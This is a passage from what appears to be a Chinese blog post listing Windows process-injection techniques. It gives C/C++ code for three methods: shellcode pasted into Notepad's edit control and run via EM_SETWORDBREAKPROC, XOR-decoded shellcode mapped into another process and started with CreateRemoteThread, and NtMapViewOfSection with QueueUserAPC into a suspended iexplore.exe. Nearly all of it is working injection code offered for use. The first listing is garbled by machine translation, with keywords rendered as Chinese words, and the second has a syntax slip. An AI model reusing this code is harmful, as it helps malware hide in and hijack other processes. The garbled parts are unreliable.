秒,然后转到步骤 5。 9. 将embuf设置为 PAGE_EXECUTE_READWRITE。 10. 生成与 CP-1252 兼容的 shellcode 并复制到剪贴板。 11. 使用 EM_SETWORDBREAKPROC将编辑控制断字功能设置为embuf 12. 使用 WM_LBUTTONDBLCLK 触发 shellcode 的执行 ```cpp BOOL em_inject ( void ) { HWND npw , ecw ; w64_t emh , lastbuf , embuf ; SIZE_T rd ; 处理马力; DWORD cslen , pid , old ; 布尔 r ; PBYTE CS ; 字符 缓冲区[ 1024 ] ; // 获取记事本类的窗口句柄 npw = FindWindow ( " Notepad" , NULL ) ; // 获取编辑控件的窗口句柄 ecw = FindWindowEx ( npw , NULL , " Edit " , NULL ) ; // 获取编辑控件的 EM 句柄 emh . p = ( PVOID ) SendMessage ( ecw , EM_GETHANDLE , 0 , 0 ) ; // 获取窗口的进程 ID GetWindowThreadProcessId ( ecw , &PID ); // 打开进程以读取和更改内存权限 hp = OpenProcess ( PROCESS_VM_READ | PROCESS_VM_OPERATION , FALSE , pid ) ; // 将一些测试数据复制到剪贴板 memset ( buf , 0x4d , sizeof ( buf ) ) ; CopyToClipboard ( CF_TEXT , buf , sizeof ( buf ) ) ; // 循环直到目标缓冲区地址稳定 最后一个缓冲区。p = NULL ; r =假; for ( ; ; ) { //读取输入 缓冲区的地址ReadProcessMemory ( hp , emh.p , & embuf.p , sizeof ( ULONG_PTR ) , & rd ) ; // 地址没变?退出循环if ( embuf . p = = lastbuf . p ) { r = TRUE ; 休息; } // 保存这个地址 lastbuf . p = embuf 。p ; // 清除编辑控件 SendMessage ( ecw , EM_SETSEL , 0 , - 1 )的内容; SendMessage ( ecw , WM_CLEAR , 0 , 0 ) ; // 将 WM_PASTE 消息发送到编辑控件 // 让记事本有时间从剪贴板读取数据 SendMessage ( ecw , WM_PASTE , 0 , 0 ) ; 睡眠( WAIT_TIME ); } if ( r ) { // 将缓冲区设置 为RWX VirtualProtectEx ( hp , embuf.p , 4096 , PAGE_EXECUTE_READWRITE , & old ) ; // 生成 shellcode 并复制到剪贴板 cs = cp1252_generate_winexec ( pid , & cslen ) ; CopyToClipboard ( CF_TEXT , cs , cslen ) ; // 清除缓冲区并注入 shellcode SendMessage ( ecw , EM_SETSEL , 0 , - 1 ) ; SendMessage ( ecw , WM_CLEAR , 0 , 0 ) ; SendMessage ( ecw , WM_PASTE , 0 , 0 ) ; 睡眠( WAIT_TIME ); // 设置断字程序到shellcode的地址 并执行SendMessage ( ecw , EM_SETWORDBREAKPROC , 0 , ( LPARAM ) embuf.p ) ; SendMessage ( ecw , WM_LBUTTONDBLCLK , MK_LBUTTON , ( LPARAM ) 0x000a000a ) ; SendMessage ( ecw , EM_SETWORDBREAKPROC , 0 , ( LPARAM ) NULL ) ; // 设置缓冲区为 RW VirtualProtectEx ( hp , embuf.p , 4096 , PAGE_READWRITE , & old ) ; _ _ }关闭句柄(马力);返回r ; } ``` ## 文件映射 ```cpp char key[] = "key"; char cipherType[] = "xor"; unsigned char shellcode[sizeof encryptedShellcode]; int j = 0; for (int i = 0; i < sizeof encryptedShellcode; i++) { if (j == sizeof key - 1) j = 0; shellcode[i] = encryptedShellcode[i] ^ key[j]; j++; printf("\\x%x", shellcode[i]); } HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL); LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode)); memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode)); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid;);//ÌîдҪעÈëµÄpid LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ); HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL); UnmapViewOfFile(lpMapAddress); CloseHandle(hMapping); ``` ## NtMapViewOfSection ```cpp #define _WIN32_WINNT 0x0400 #include <windows.h> typedef LONG NTSTATUS, *PNTSTATUS; #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG ); func_NtMapViewOfSection NtMapViewOfSection = NULL; LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress ) { NTSTATUS Status; LARGE_INTEGER SectionOffset; ULONG ViewSize; ULONG Protect; LPVOID ViewBase; // 转换偏移量 SectionOffset.LowPart = dwFileOffsetLow; SectionOffset.HighPart = dwFileOffsetHigh; // 保存大小和起始地址 ViewBase = lpBaseAddress; ViewSize = dwNumberOfBytesToMap; // 转换标志为NT保护属性 if (dwDesiredAccess & FILE_MAP_WRITE) { Protect = PAGE_READWRITE; } else if (dwDesiredAccess & FILE_MAP_READ) { Protect = PAGE_READONLY; } else if (dwDesiredAccess & FILE_MAP_COPY) { Protect = PAGE_WRITECOPY; } else { Protect = PAGE_NOACCESS; } //映射区段 Status = NtMapViewOfSection(hFileMappingObject, hProcess, &ViewBase, 0, 0, &SectionOffset, &ViewSize, ViewShare, 0, Protect); if (!NT_SUCCESS(Status)) { // 失败 return NULL; } //返回起始地址 return ViewBase; } int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int) { HMODULE hDll = LoadLibrary( "ntdll.dll" ); NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection"); // 取ShellCode,任何你想实现的 HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL); // 启动目标进程 STARTUPINFO st; ZeroMemory (&st, sizeof(st)); st.cb = sizeof (STARTUPINFO); PROCESS_INFORMATION pi; ZeroMemory (&pi, sizeof(pi)); CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi); // 注入shellcode到目标进程地址空间 LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL); // 创建一个新的能够在目标线程恢复是首先执行的APC QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL); ResumeThread (pi.hThread); CloseHandle (hFile); CloseHandle (hMappedFile); CloseHandle (pi.hThread); CloseHandle (pi.hProcess); return 0; } ``` 最后修改:2022 年 07 月 25 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏